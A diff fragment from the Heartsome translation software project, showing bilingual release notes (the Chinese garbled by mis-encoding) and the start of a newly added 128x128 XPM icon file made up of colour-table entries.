+--------------------------------- +Improvements: +1. Improved the display style of internal tag, the new style is cleaner and more beautiful. +2. Improved the way of displaying QA results, dynamically updating QA results. +3. Changed the extension of exported project package file from .zip to .hszip, to distinguish them easily. +4. Optimized the overwriting strategy of existing files when importing project, to streamline project distribution. +5. Optimized the performance of XLIFF editor, to make it run smoother even there are many internal tags. +--------------------------------- +Bug-fixes: +Fixed the bug that unable to activate license on Fedora Linux. +[-zh-] +--------------------------------- +新功能: +1ã€æ–°å¢žå¯¹è®°å¿†åº“匹é…的编辑ã€åˆ é™¤å’Œéƒ¨åˆ†å†…容å¤åˆ¶åŠŸèƒ½ï¼› +2ã€æ–°å¢žç¦»çº¿æ¿€æ´»åŠŸèƒ½ï¼Œå¯åœ¨æ— ç½‘络æ¡ä»¶ä¸‹ç¦»çº¿æ¿€æ´»è®¸å¯è¯ã€‚ +--------------------------------- +改进: +1ã€ä¼˜åŒ–了内部标记样å¼ï¼Œæ›´åŠ ç®€æ´å’Œç¾Žè§‚ï¼› +2ã€ä¼˜åŒ–了 QA 结果的展示,能动æ€æ›´æ–° QA 检查结果; +3ã€å°†å¯¼å‡ºçš„项目包扩展å修改为 .hszip,以区别普通 .zip 压缩包; +4ã€ä¼˜åŒ–了导入项目时对é‡å¤æ–‡ä»¶çš„自动判断和处ç†ç­–略,使项目æµè½¬æ›´åŠ æ–¹ä¾¿ï¼› +5ã€ä¼˜åŒ–了编辑器的性能,å³ä½¿å†…部标记较多也ä¿æŒæµç•…。 +--------------------------------- +ä¿®å¤ï¼š +ä¿®å¤äº†åœ¨ Fedora Linux 系统中无法激活许å¯è¯çš„问题。 + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/icons/linux/xliff.xpm b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/linux/xliff.xpm new file mode 100644 index 0000000..1d895c8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/linux/xliff.xpm @@ -0,0 +1,10486 @@ +/* XPM */ +static char * xliff_xpm[] = { +"128 128 10355 3", +" c None", +". c #FFFFFF", +"+ c #FFF1E9", +"@ c #FFD4B4", +"# c #FFC495", +"$ c #FFC597", +"% c #FFC699", +"& c #FFC698", +"* c #FFC393", +"= c #FFCCA6", +"- c #FFE8D9", +"; c #FFFDFD", +"> c #FBAB72", +", c #E6791C", +"' c #C85E00", +") c #B14E00", +"! c #B24E00", +"~ c #B35000", +"{ c #B25000", +"] c #B04D00", +"^ c #BF5600", +"/ c #DD7011", +"( c #F6964D", +"_ c #FFE9DC", +": c #F7954C", +"< c #BE5000", +"[ c #7B3B08", +"} c #5F2E19", +"| c #55271C", +"1 c #56271C", +"2 c #56281C", +"3 c #54271B", +"4 c #54261B", +"5 c #55261B", +"6 c #54271C", +"7 c #54261D", +"8 c #5B2C1B", +"9 c #6E3710", +"0 c #A64900", +"a c #EC7416", +"b c #FFE9DB", +"c c #FDBA8A", +"d c #C15000", +"e c #613316", +"f c #471925", +"g c #491827", +"h c #481827", +"i c #491926", +"j c #481926", +"k c #471825", +"l c #461824", +"m c #451824", +"n c #451724", +"o c #481825", +"p c #481826", +"q c #461825", +"r c #481925", +"s c #50271D", +"t c #A44800", +"u c #F59043", +"v c #FFFCFC", +"w c #FFFBFA", +"x c #ED8833", +"y c #843D03", +"z c #471A24", +"A c #532026", +"B c #5E2C1F", +"C c #6C3415", +"D c #6D3315", +"E c #6C3215", +"F c #6C3214", +"G c #6C3213", +"H c #6C3212", +"I c #6B3112", +"J c #683011", +"K c #662F11", +"L c #622D10", +"M c #602B0F", +"N c #5D2B0F", +"O c #5F2B0F", +"P c #622D0F", +"Q c #652F11", +"R c #693011", +"S c #6A3111", +"T c #6A3112", +"U c #693010", +"V c #673011", +"W c #652F10", +"X c #642E10", +"Y c #632D10", +"Z c #612D0F", +"` c #612C0F", +" . c #652E10", +".. c #632E10", +"+. c #612D10", +"@. c #602C0F", +"#. c #622E10", +"$. c #662F10", +"%. c #6C3312", +"&. c #6C3313", +"*. c #6B3213", +"=. c #693112", +"-. c #673112", +";. c #632D11", +">. c #642E11", +",. c #663012", +"'. c #683112", +"). c #6A3212", +"!. c #6D3414", +"~. c #6C3414", +"{. c #6E3714", +"]. c #63301B", +"^. c #562325", +"/. c #4A1A27", +"(. c #653316", +"_. c #D26100", +":. c #FFDDC6", +"<. c #FFE1CC", +"[. c #D26909", +"}. c #683416", +"|. c #491927", +"1. c #59281F", +"2. c #AF641C", +"3. c #E57F25", +"4. c #DB7824", +"5. c #DA7723", +"6. c #D97723", +"7. c #D97722", +"8. c #D77621", +"9. c #D27320", +"0. c #CB6F1F", +"a. c #C16A1D", +"b. c #B8651B", +"c. c #AF5F1A", +"d. c #AB5D1A", +"e. c #B0601A", +"f. c #CA6E1E", +"g. c #D07220", +"h. c #D47421", +"i. c #D57420", +"j. c #D37320", +"k. c #CF711F", +"l. c #C46B1D", +"m. c #BE681C", +"n. c #B7641B", +"o. c #B5631B", +"p. c #B7651B", +"q. c #B9651B", +"r. c #BB661C", +"s. c #BD671C", +"t. c #BF681C", +"u. c #BB671C", +"v. c #BA661B", +"w. c #B6651B", +"x. c #B2611B", +"y. c #BC671C", +"z. c #C26A1D", +"A. c #C96E1E", +"B. c #CF721F", +"C. c #DA7722", +"D. c #D97822", +"E. c #DA7822", +"F. c #D57521", +"G. c #CF7220", +"H. c #C96E1F", +"I. c #C36C1E", +"J. c #BB671D", +"K. c #BB661D", +"L. c #C46C1E", +"M. c #C96F1F", +"N. c #D67622", +"O. c #D87722", +"P. c #D77722", +"Q. c #D87822", +"R. c #DA7923", +"S. c #DA7823", +"T. c #C9731E", +"U. c #6A361C", +"V. c #4A1927", +"W. c #52251D", +"X. c #FFC293", +"Y. c #FFD4B2", +"Z. c #C05A00", +"`. c #5C2C1A", +" + c #602E17", +".+ c #D6701D", +"++ c #FFDB68", +"@+ c #FFF081", +"#+ c #FFF179", +"$+ c #FFF17B", +"%+ c #FFF17D", +"&+ c #FFF17F", +"*+ c #FFF181", +"=+ c #FFF182", +"-+ c #FFF184", +";+ c #FFF186", +">+ c #FFF188", +",+ c #FFF18A", +"'+ c #FFF18B", +")+ c #FFF18D", +"!+ c #FFF18F", +"~+ c #FFF190", +"{+ c #FFF192", +"]+ c #FFF194", +"^+ c #FFF195", +"/+ c #FFF197", +"(+ c #FFF199", +"_+ c #FFF19A", +":+ c #FFF19C", +"<+ c #FFF19D", +"[+ c #FFF19F", +"}+ c #FFF1A0", +"|+ c #FFF1A2", +"1+ c #FFF1A3", +"2+ c #FFF1A4", +"3+ c #FFF1A6", +"4+ c #FFF1A7", +"5+ c #FFF1A8", +"6+ c #FFF1A9", +"7+ c #FFF1AA", +"8+ c #FFF1AC", +"9+ c #FFF1AD", +"0+ c #FFF0AE", +"a+ c #FFEFAE", +"b+ c #FFECAF", +"c+ c #FBE9B0", +"d+ c #F6E5B0", +"e+ c #EEDEB0", +"f+ c #EDDDB1", +"g+ c #F8E6B1", +"h+ c #FEEAB2", +"i+ c #FBE7B3", +"j+ c #FDE9B4", +"k+ c #FDEAB5", +"l+ c #FFEDB6", +"m+ c #FFEEB7", +"n+ c #FFECB7", +"o+ c #FBEAB7", +"p+ c #F6E6B7", +"q+ c #F5E4B7", +"r+ c #F9E6B6", +"s+ c #FBE8B6", +"t+ c #F7E4B6", +"u+ c #F5E2B6", +"v+ c #F4E1B6", +"w+ c #F5E2B5", +"x+ c #F5E1B5", +"y+ c #F4E0B5", +"z+ c #F3DFB4", +"A+ c #F5E1B3", +"B+ c #FAE7B2", +"C+ c #FCE9B2", +"D+ c #F3DFB1", +"E+ c #EED9B0", +"F+ c #F4DDB0", +"G+ c #F9E0B0", +"H+ c #FCE2AF", +"I+ c #FFE3AE", +"J+ c #FFE4AE", +"K+ c #FFE5AD", +"L+ c #FFE4AC", +"M+ c #FFE4AB", +"N+ c #FFE3AA", +"O+ c #FFE1A8", +"P+ c #FFE1A7", +"Q+ c #FFE0A6", +"R+ c #FFDEA4", +"S+ c #FADAA2", +"T+ c #F5D4A1", +"U+ c #F2D39F", +"V+ c #FEE99D", +"W+ c #F3D89B", +"X+ c #ECCA9A", +"Y+ c #F3D099", +"Z+ c #F5D198", +"`+ c #F9D297", +" @ c #FAD295", +".@ c #F9D194", +"+@ c #F8CF92", +"@@ c #F8CD90", +"#@ c #F8CD8F", +"$@ c #F8CC8D", +"%@ c #F9CB8B", +"&@ c #FACA8A", +"*@ c #FBCA88", +"=@ c #FBC987", +"-@ c #FBC885", +";@ c #FBC682", +">@ c #FBC581", +",@ c #FBC784", +"'@ c #FFC37E", +")@ c #F28B2F", +"!@ c #7F4013", +"~@ c #4E2020", +"{@ c #A04600", +"]@ c #FEB479", +"^@ c #FFD7B5", +"/@ c #C25C00", +"(@ c #5E2D19", +"_@ c #602D18", +":@ c #CC661A", +"<@ c #FFED72", +"[@ c #FFFF95", +"}@ c #FCFF8B", +"|@ c #FCFF8D", +"1@ c #FEFF8F", +"2@ c #FEFF92", +"3@ c #FEFF94", +"4@ c #FEFF97", +"5@ c #FEFF99", +"6@ c #FEFF9B", +"7@ c #FEFF9E", +"8@ c #FEFFA0", +"9@ c #FEFFA2", +"0@ c #FEFFA5", +"a@ c #FEFFA7", +"b@ c #FEFFA9", +"c@ c #FFFFAB", +"d@ c #FFFFAE", +"e@ c #FFFFAF", +"f@ c #FFFFB2", +"g@ c #FFFFB4", +"h@ c #FFFFB6", +"i@ c #FFFFB8", +"j@ c #FFFFBA", +"k@ c #FFFFBC", +"l@ c #FFFFBE", +"m@ c #FFFFC0", +"n@ c #FFFFC1", +"o@ c #FFFFC3", +"p@ c #FFFFC5", +"q@ c #FFFFC7", +"r@ c #FFFFC8", +"s@ c #FFFFCA", +"t@ c #FFFFCB", +"u@ c #FFFFCD", +"v@ c #FFFFCE", +"w@ c #FEFFD0", +"x@ c #FCFFD1", +"y@ c #FAFFD2", +"z@ c #F8FFD4", +"A@ c #F1FFD5", +"B@ c #F2FED7", +"C@ c #FFFFD8", +"D@ c #FFFFD9", +"E@ c #FAFFDA", +"F@ c #F8FFDA", +"G@ c #FBFFDB", +"H@ c #FCFFDB", +"I@ c #FEFFDC", +"J@ c #FDFFDC", +"K@ c #FDFFDD", +"L@ c #FCFFDD", +"M@ c #F9FFDD", +"N@ c #FAFFDE", +"O@ c #FEFFDE", +"P@ c #FFFFDE", +"Q@ c #FEFFDF", +"R@ c #F9FFDF", +"S@ c #F3FEDE", +"T@ c #F2FDDE", +"U@ c #F4FEDE", +"V@ c #F7FFDD", +"W@ c #F8FFDD", +"X@ c #F9FFDC", +"Y@ c #F7FFDC", +"Z@ c #F2FBDB", +"`@ c #EFF7DA", +" # c #F2F9DA", +".# c #FBFFD9", +"+# c #FFFFD7", +"@# c #F1F7D5", +"## c #F1F6D4", +"$# c #F6FBD3", +"%# c #F8FCD1", +"&# c #F9FDD0", +"*# c #FAFDCF", +"=# c #FAFDCD", +"-# c #FBFCCC", +";# c #FBFCCA", +"># c #FAFAC9", +",# c #FAF9C7", +"'# c #FAF8C6", +")# c #F8F6C4", +"!# c #F5F2C2", +"~# c #F1ECC0", +"{# c #EAE6BF", +"]# c #FFFFBD", +"^# c #FBFDBB", +"/# c #E4DDB9", +"(# c #EAE3B7", +"_# c #EBE3B5", +":# c #EDE3B2", +"<# c #EEE3B0", +"[# c #ECE1AE", +"}# c #ECDEAC", +"|# c #EBDDAA", +"1# c #EBDCA7", +"2# c #ECDBA5", +"3# c #ECD9A3", +"4# c #ECD8A0", +"5# c #EDD79E", +"6# c #EED79C", +"7# c #EFD69A", +"8# c #EFD497", +"9# c #F0D395", +"0# c #F1D799", +"a# c #F8D08F", +"b# c #E6852E", +"c# c #7D3D12", +"d# c #491A25", +"e# c #4F211F", +"f# c #A24700", +"g# c #FEB77D", +"h# c #FFD7B6", +"i# c #C35D00", +"j# c #5F2D19", +"k# c #CB671B", +"l# c #FFE26B", +"m# c #FDFF89", +"n# c #FAFF80", +"o# c #FAFF82", +"p# c #FBFF84", +"q# c #FBFF86", +"r# c #FBFF88", +"s# c #FBFF8A", +"t# c #FBFF8D", +"u# c #FBFF8F", +"v# c #FBFF90", +"w# c #FBFF92", +"x# c #FBFF95", +"y# c #FBFF97", +"z# c #FBFF99", +"A# c #FBFF9B", +"B# c #FCFF9C", +"C# c #FCFF9E", +"D# c #FCFFA0", +"E# c #FCFFA2", +"F# c #FCFFA4", +"G# c #FCFFA6", +"H# c #FCFFA8", +"I# c #FCFFA9", +"J# c #FCFFAB", +"K# c #FCFFAD", +"L# c #FCFFAE", +"M# c #FCFFB0", +"N# c #FCFFB2", +"O# c #FCFFB3", +"P# c #FCFFB5", +"Q# c #FCFFB6", +"R# c #FCFFB7", +"S# c #FCFFB9", +"T# c #FCFFBA", +"U# c #FCFEBB", +"V# c #FAFDBD", +"W# c #F7FABE", +"X# c #F4F6BF", +"Y# c #EDEFC0", +"Z# c #EAECC1", +"`# c #FEFDC2", +" $ c #FFFEC3", +".$ c #EBEDC3", +"+$ c #EBEEC5", +"@$ c #F2F5C5", +"#$ c #F6F9C6", +"$$ c #F9FBC7", +"%$ c #FAFDC7", +"&$ c #FAFDC8", +"*$ c #F9FBC8", +"=$ c #F7FAC8", +"-$ c #F8F9C9", +";$ c #F9F9C9", +">$ c #F7F7C9", +",$ c #F1F2C9", +"'$ c #E7EAC9", +")$ c #E9EAC9", +"!$ c #F1F1C9", +"~$ c #F6F6C8", +"{$ c #F9F8C8", +"]$ c #FBF8C8", +"^$ c #FAF8C8", +"/$ c #F9F7C7", +"($ c #FAF8C7", +"_$ c #F9F7C6", +":$ c #F5F3C5", +"<$ c #EAE7C5", +"[$ c #E1DEC4", +"}$ c #E8E6C3", +"|$ c #F6F3C2", +"1$ c #FDFAC1", +"2$ c #F0ECC0", +"3$ c #EAE5BF", +"4$ c #F2EBBE", +"5$ c #F4EDBD", +"6$ c #F6EEBC", +"7$ c #F7EEBA", +"8$ c #F8EEB9", +"9$ c #F8EEB8", +"0$ c #F8EDB6", +"a$ c #F8ECB5", +"b$ c #F8EAB4", +"c$ c #F5E8B2", +"d$ c #F1E3B0", +"e$ c #EBDEAF", +"f$ c #E1D3AD", +"g$ c #F4EDAC", +"h$ c #FCF7AA", +"i$ c #DCCEA8", +"j$ c #DFCFA6", +"k$ c #E0D0A4", +"l$ c #E2D1A2", +"m$ c #E1CDA1", +"n$ c #DECA9F", +"o$ c #DEC89D", +"p$ c #DEC79B", +"q$ c #E0C999", +"r$ c #E2CA97", +"s$ c #E3CA95", +"t$ c #E4C993", +"u$ c #E4C891", +"v$ c #E6C88F", +"w$ c #E8C88D", +"x$ c #EAC88B", +"y$ c #ECC889", +"z$ c #EECC8C", +"A$ c #F6C784", +"B$ c #E5842D", +"C$ c #7C3D13", +"D$ c #A34800", +"E$ c #FEB77E", +"F$ c #FFE26A", +"G$ c #FDFF87", +"H$ c #FAFE7E", +"I$ c #FAFF81", +"J$ c #FBFF83", +"K$ c #FBFF85", +"L$ c #FBFF87", +"M$ c #FBFF89", +"N$ c #FBFF8B", +"O$ c #FBFF91", +"P$ c #FBFF93", +"Q$ c #FCFF9D", +"R$ c #FCFF9F", +"S$ c #FCFFA1", +"T$ c #FCFFA3", +"U$ c #FCFFA7", +"V$ c #FCFFAC", +"W$ c #FCFFAF", +"X$ c #FCFFB1", +"Y$ c #FCFFB4", +"Z$ c #FCFFB8", +"`$ c #FBFEB9", +" % c #F9FBBB", +".% c #F5F7BB", +"+% c #F0F3BC", +"@% c #E7EBBE", +"#% c #FAF8BF", +"$% c #EBEBC0", +"%% c #E9ECC2", +"&% c #F1F3C2", +"*% c #F5F7C3", +"=% c #F8FBC4", +"-% c #FAFCC5", +";% c #FAFDC5", +">% c #F8FBC5", +",% c #F9FAC6", +"'% c #F9F9C6", +")% c #F1F4C7", +"!% c #EBEEC6", +"~% c #E5E8C6", +"{% c #EFEFC6", +"]% c #FBFAC6", +"^% c #F9F8C6", +"/% c #F5F5C6", +"(% c #F3F3C6", +"_% c #F2F1C6", +":% c #F1F0C5", +"<% c #F0EEC5", +"[% c #F0EFC5", +"}% c #F3F1C4", +"|% c #F8F5C3", +"1% c #FCFAC2", +"2% c #F2F0C1", +"3% c #E0DDC1", +"4% c #DFDCC0", +"5% c #EFEBBF", +"6% c #FFFDBE", +"7% c #F1ECBD", +"8% c #E9E3BC", +"9% c #F1EABB", +"0% c #F4EBBA", +"a% c #F6EDB9", +"b% c #F7EDB7", +"c% c #F8ECB3", +"d% c #F7EAB2", +"e% c #F4E7B0", +"f% c #EFE2AE", +"g% c #EADDAD", +"h% c #DECFAB", +"i% c #EEE6A9", +"j% c #FEFAA8", +"k% c #D9CDA6", +"l% c #D6C8A5", +"m% c #CEC0A3", +"n% c #CEBDA1", +"o% c #D6C79F", +"p% c #DED09D", +"q% c #E2D49B", +"r% c #E2D29A", +"s% c #DECA98", +"t% c #D9C296", +"u% c #D5BA94", +"v% c #D4B891", +"w% c #D7BC90", +"x% c #DDC18D", +"y% c #E0C28B", +"z% c #E3C289", +"A% c #E6C487", +"B% c #EAC98B", +"C% c #F4C582", +"D% c #E2832D", +"E% c #4A1A25", +"F% c #FFE269", +"G% c #FDFF86", +"H% c #FAFE7D", +"I% c #FAFE7F", +"J% c #FBFF8C", +"K% c #FBFF8E", +"L% c #FBFF94", +"M% c #FAFDB7", +"N% c #F7FAB9", +"O% c #F3F6BA", +"P% c #EBEDBB", +"Q% c #EFF0BC", +"R% c #FFFEBD", +"S% c #EEEEBD", +"T% c #E5E9BF", +"U% c #EFF1BF", +"V% c #F3F6C0", +"W% c #F7FAC1", +"X% c #F9FCC2", +"Y% c #FAFDC2", +"Z% c #FAFDC3", +"`% c #F8FBC3", +" & c #F7F9C4", +".& c #F1F4C4", +"+& c #EDF0C4", +"@& c #E7EAC4", +"#& c #F2F2C4", +"$& c #FDFBC4", +"%& c #F1F1C4", +"&& c #E9EAC4", +"*& c #EAEBC4", +"=& c #EDEEC4", +"-& c #F0EFC4", +";& c #F1EFC3", +">& c #F1F0C2", +",& c #F0EFC2", +"'& c #EDEBC2", +")& c #EAE7C1", +"!& c #EFECC0", +"~& c #FCF9C0", +"{& c #F8F4BF", +"]& c #E3E0BE", +"^& c #DCD8BD", +"/& c #ECE8BC", +"(& c #FFFDBB", +"_& c #EDE8BA", +":& c #EAE2B9", +"<& c #F1E9B8", +"[& c #F4EAB7", +"}& c #F6ECB5", +"|& c #F7ECB4", +"1& c #F7EBB3", +"2& c #F8EBB1", +"3& c #F7EAB0", +"4& c #F4E6AE", +"5& c #EEE0AC", +"6& c #E8DBAB", +"7& c #DACDAA", +"8& c #EFE7A8", +"9& c #FCF6A6", +"0& c #D0C4A5", +"a& c #D0C4A3", +"b& c #E2D9A1", +"c& c #E7E09F", +"d& c #F6F19D", +"e& c #FBF69B", +"f& c #F6EF9A", +"g& c #F9F298", +"h& c #FCF695", +"i& c #F9F194", +"j& c #F2E992", +"k& c #E7D990", +"l& c #D8C28E", +"m& c #CDB18C", +"n& c #CCAE8A", +"o& c #D7BA88", +"p& c #DEBF86", +"q& c #E4C48A", +"r& c #EFC181", +"s& c #DE802C", +"t& c #7B3C13", +"u& c #FFE268", +"v& c #FDFF84", +"w& c #FAFE7C", +"x& c #FBFF82", +"y& c #FBFF96", +"z& c #FBFF98", +"A& c #FBFF9A", +"B& c #FCFF9B", +"C& c #FCFFAA", +"D& c #FAFCB5", +"E& c #F6F8B7", +"F& c #F1F3B8", +"G& c #E8EBB9", +"H& c #FBF8BA", +"I& c #FAF7BB", +"J& c #E4E7BC", +"K& c #EDEFBC", +"L& c #F2F4BD", +"M& c #F6F9BE", +"N& c #FAFDBE", +"O& c #FBFEBF", +"P& c #FBFEC0", +"Q& c #FAFDC1", +"R& c #F7FBC1", +"S& c #F3F7C1", +"T& c #F0F3C2", +"U& c #E8ECC2", +"V& c #F2F2C2", +"W& c #F9F7C2", +"X& c #E6E8C2", +"Y& c #E2E4C2", +"Z& c #EBEBC2", +"`& c #EFEFC2", +" * c #F1F1C2", +".* c #F3F2C1", +"+* c #F4F2C1", +"@* c #F4F2C0", +"#* c #F3F2BF", +"$* c #F9F6C3", +"%* c #FFFCCA", +"&* c #FFFDCE", +"** c #FFFCCF", +"=* c #FFFFD0", +"-* c #FFFFCF", +";* c #FBF8CE", +">* c #F1EDCC", +",* c #FFFCC9", +"'* c #F0E9BC", +")* c #EDE5B7", +"!* c #F2E9B5", +"~* c #F5EBB4", +"{* c #F6EBB2", +"]* c #F7EBB1", +"^* c #F7EAAF", +"/* c #F6E8AD", +"(* c #F2E4AD", +"_* c #ECDEAB", +":* c #E6D8A9", +"<* c #D7CAA8", +"[* c #F6EEA6", +"}* c #FAF5A4", +"|* c #C7BAA3", +"1* c #D2C6A1", +"2* c #FFFF9F", +"3* c #FFFF9D", +"4* c #EBE59C", +"5* c #BEB39A", +"6* c #C7B998", +"7* c #D1C296", +"8* c #DCCC94", +"9* c #E4D692", +"0* c #EEE490", +"a* c #FCF88F", +"b* c #FFFF8C", +"c* c #F4EE8B", +"d* c #D9C689", +"e* c #C4A886", +"f* c #CDAF84", +"g* c #DDC088", +"h* c #E8BC7F", +"i* c #D77D2A", +"j* c #793B12", +"k* c #FFE267", +"l* c #FDFF82", +"m* c #FAFE7A", +"n* c #FBFEB2", +"o* c #F8FBB3", +"p* c #F4F6B5", +"q* c #EEF1B6", +"r* c #EAECB7", +"s* c #FEFAB8", +"t* c #F0F0B9", +"u* c #E7EBBA", +"v* c #F0F2BA", +"w* c #F9FCBC", +"x* c #FBFEBD", +"y* c #FBFEBE", +"z* c #F9FCBE", +"A* c #F6F9BF", +"B* c #F3F6BF", +"C* c #ECEFBF", +"D* c #EFF0C0", +"E* c #FEFBC0", +"F* c #EEEEC0", +"G* c #EDEEC0", +"H* c #F1F0C0", +"I* c #EEEEBF", +"J* c #F1F2BF", +"K* c #F4F3BE", +"L* c #FFFFD2", +"M* c #E8E9B4", +"N* c #C7C89B", +"O* c #BABA91", +"P* c #B0AE8C", +"Q* c #9D997F", +"R* c #9D9973", +"S* c #A09B79", +"T* c #A19E86", +"U* c #A19F89", +"V* c #C0C293", +"W* c #E3E3A8", +"X* c #F3ECBE", +"Y* c #FFF8C2", +"Z* c #FAEFB7", +"`* c #F7EAB1", +" = c #F8EBB0", +".= c #F7E9AE", +"+= c #F5E6AC", +"@= c #EFE2AB", +"#= c #E9DBA9", +"$= c #E0D3A7", +"%= c #D9CCA6", +"&= c #FFFCA4", +"*= c #EDE6A2", +"== c #C6B8A1", +"-= c #CCC19F", +";= c #F5F09D", +">= c #FFFF9B", +",= c #F8F69A", +"'= c #C8BD99", +")= c #AEA096", +"!= c #C4B495", +"~= c #CBB693", +"{= c #CEB691", +"]= c #CCB18F", +"^= c #D0B78D", +"/= c #DFD18B", +"(= c #FFFF89", +"_= c #FFFF87", +":= c #EBE085", +"<= c #C2A783", +"[= c #C9AD87", +"}= c #E0B87D", +"|= c #CC7728", +"1= c #753912", +"2= c #491A24", +"3= c #CB671C", +"4= c #FFE266", +"5= c #FDFF81", +"6= c #FAFE78", +"7= c #FAFE7B", +"8= c #FBFF81", +"9= c #FCFF98", +"0= c #FDFF9D", +"a= c #FCFFA5", +"b= c #FAFEB0", +"c= c #F7FAB1", +"d= c #F2F5B3", +"e= c #EBEEB4", +"f= c #EFEFB5", +"g= c #FBF8B6", +"h= c #E9EBB7", +"i= c #ECEFB7", +"j= c #F2F4B8", +"k= c #F7F9B9", +"l= c #FAFEBA", +"m= c #FBFFBB", +"n= c #FBFEBC", +"o= c #F6F9BC", +"p= c #F1F5BD", +"q= c #EBEFBD", +"r= c #FEFABD", +"s= c #FDFBBD", +"t= c #F2F1BD", +"u= c #F1F1BD", +"v= c #F7F5BD", +"w= c #F8F5BD", +"x= c #EFEFBB", +"y= c #FFFFCC", +"z= c #FFFFD4", +"A= c #D6D9A7", +"B= c #B0B189", +"C= c #A4A17E", +"D= c #8B836A", +"E= c #897D65", +"F= c #A49276", +"G= c #AD997D", +"H= c #AD977B", +"I= c #AC957A", +"J= c #AD9778", +"K= c #AD9776", +"L= c #9D896B", +"M= c #7D6F58", +"N= c #857C5C", +"O= c #8F886B", +"P= c #959376", +"Q= c #D3CE9E", +"R= c #FFF5B8", +"S= c #F6E9AE", +"T= c #F8EAAD", +"U= c #F4E6AB", +"V= c #ECDFA9", +"W= c #E5D8A7", +"X= c #D5C7A5", +"Y= c #E9E0A4", +"Z= c #FFFFA2", +"`= c #DACEA1", +" - c #D0C39F", +".- c #CBBC9D", +"+- c #C0B49C", +"@- c #EEE89A", +"#- c #FFFF98", +"$- c #FFFE97", +"%- c #C7BD94", +"&- c #B6A793", +"*- c #CEBC91", +"=- c #D5BF8F", +"-- c #D8C08D", +";- c #D3B98B", +">- c #C4A889", +",- c #C6AE87", +"'- c #ECE485", +")- c #FFFF83", +"!- c #F0E881", +"~- c #C2AB85", +"{- c #CDA67B", +"]- c #BF7026", +"^- c #6F3611", +"/- c #481A24", +"(- c #FFE265", +"_- c #FDFF7F", +":- c #FAFE77", +"<- c #FAFE79", +"[- c #FAFF7F", +"}- c #FBFE94", +"|- c #FAFE96", +"1- c #FAFD98", +"2- c #FAFD99", +"3- c #FAFD9B", +"4- c #FAFE9D", +"5- c #FBFE9E", +"6- c #FBFFA3", +"7- c #FBFFA5", +"8- c #FBFFAC", +"9- c #FAFDAE", +"0- c #F6F8AF", +"a- c #F1F4B0", +"b- c #E9ECB1", +"c- c #F3F2B2", +"d- c #F9F6B3", +"e- c #E6E9B4", +"f- c #EFF1B5", +"g- c #F3F5B6", +"h- c #F7FBB7", +"i- c #FBFEB7", +"j- c #FBFFB8", +"k- c #FBFFB9", +"l- c #F9FCBA", +"m- c #F6F9BA", +"n- c #F0F4BB", +"o- c #F3F4BB", +"p- c #FCF9BB", +"q- c #E6E9BB", +"r- c #E6E8B9", +"s- c #FFFFC4", +"t- c #FFFFD5", +"u- c #C7CB9E", +"v- c #8E8E70", +"w- c #827A66", +"x- c #A1917B", +"y- c #C0AB92", +"z- c #DFC8AA", +"A- c #F8E0BD", +"B- c #FCE5C1", +"C- c #F9E2BE", +"D- c #F6DFBB", +"E- c #F4DDB8", +"F- c #F4DCB5", +"G- c #F6DCB3", +"H- c #F8DCB1", +"I- c #F1D3A6", +"J- c #D8B990", +"K- c #BDA27B", +"L- c #907B5F", +"M- c #625B48", +"N- c #888767", +"O- c #E1D79F", +"P- c #F1E2A7", +"Q- c #F0E2A8", +"R- c #ECDFA8", +"S- c #DACCA5", +"T- c #D7C9A3", +"U- c #F4EDA1", +"V- c #CFC09F", +"W- c #D9C99D", +"X- c #D7C89C", +"Y- c #C4B69A", +"Z- c #BFB298", +"`- c #F9F497", +" ; c #FFFC93", +".; c #C3B691", +"+; c #C0AD8F", +"@; c #D5BE8D", +"#; c #DBC18B", +"$; c #DCC08A", +"%; c #D8BD88", +"&; c #C5AB86", +"*; c #B59B84", +"=; c #E9DF82", +"-; c #FFFF80", +";; c #EFE784", +">; c #BF9C79", +",; c #AE6523", +"'; c #69330F", +"); c #471A23", +"!; c #4E211E", +"~; c #FFE264", +"{; c #FCFF7E", +"]; c #FAFE76", +"^; c #FAFE8D", +"/; c #FAFD8F", +"(; c #F9FC91", +"_; c #F7FA93", +":; c #F6F994", +"<; c #F5F896", +"[; c #F5F898", +"}; c #F5F89A", +"|; c #F6F99B", +"1; c #F7FA9D", +"2; c #F8FB9E", +"3; c #F8FBA0", +"4; c #F9FCA1", +"5; c #F8FCA3", +"6; c #F8FCA4", +"7; c #F9FCA6", +"8; c #F9FCA7", +"9; c #FAFDA8", +"0; c #FBFEA9", +"a; c #FBFFAB", +"b; c #FAFDAC", +"c; c #F5F8AD", +"d; c #F0F3AE", +"e; c #E7EBAF", +"f; c #F8F5B0", +"g; c #F8F5B1", +"h; c #E5E9B2", +"i; c #EEF1B3", +"j; c #F3F5B4", +"k; c #F8FBB5", +"l; c #FBFEB5", +"m; c #FBFFB6", +"n; c #FAFEB7", +"o; c #F9FCB8", +"p; c #F6F9B8", +"q; c #F1F5B8", +"r; c #FBF9B9", +"s; c #F2F3B8", +"t; c #E9EDB9", +"u; c #EDEFB8", +"v; c #F1F3BA", +"w; c #FFFFD1", +"x; c #DEE2AF", +"y; c #8A8A6D", +"z; c #827864", +"A; c #AB9986", +"B; c #F3DDBF", +"C; c #FFEFCD", +"D; c #F6E3C5", +"E; c #ECDBC0", +"F; c #EAD9BE", +"G; c #EAD9BD", +"H; c #EAD8BC", +"I; c #E9D6BA", +"J; c #E8D5B6", +"K; c #E7D3B4", +"L; c #E6D1B1", +"M; c #E5CFAD", +"N; c #E3CDA9", +"O; c #E3CBA5", +"P; c #EBD0A4", +"Q; c #FDDCA7", +"R; c #D2B387", +"S; c #6B5C47", +"T; c #575541", +"U; c #B8AF80", +"V; c #E0D39D", +"W; c #E2D4A4", +"X; c #E7DBA5", +"Y; c #F7F3A2", +"Z; c #FDFCA0", +"`; c #D6C89F", +" > c #D5C59C", +".> c #DECD9B", +"+> c #DDCB9A", +"@> c #D7C798", +"#> c #BEAF96", +"$> c #CFC495", +"%> c #FFFF93", +"&> c #FFFF91", +"*> c #E5DD8F", +"=> c #BDAB8D", +"-> c #D2BB8C", +";> c #DDC18A", +">> c #E1C388", +",> c #DEC086", 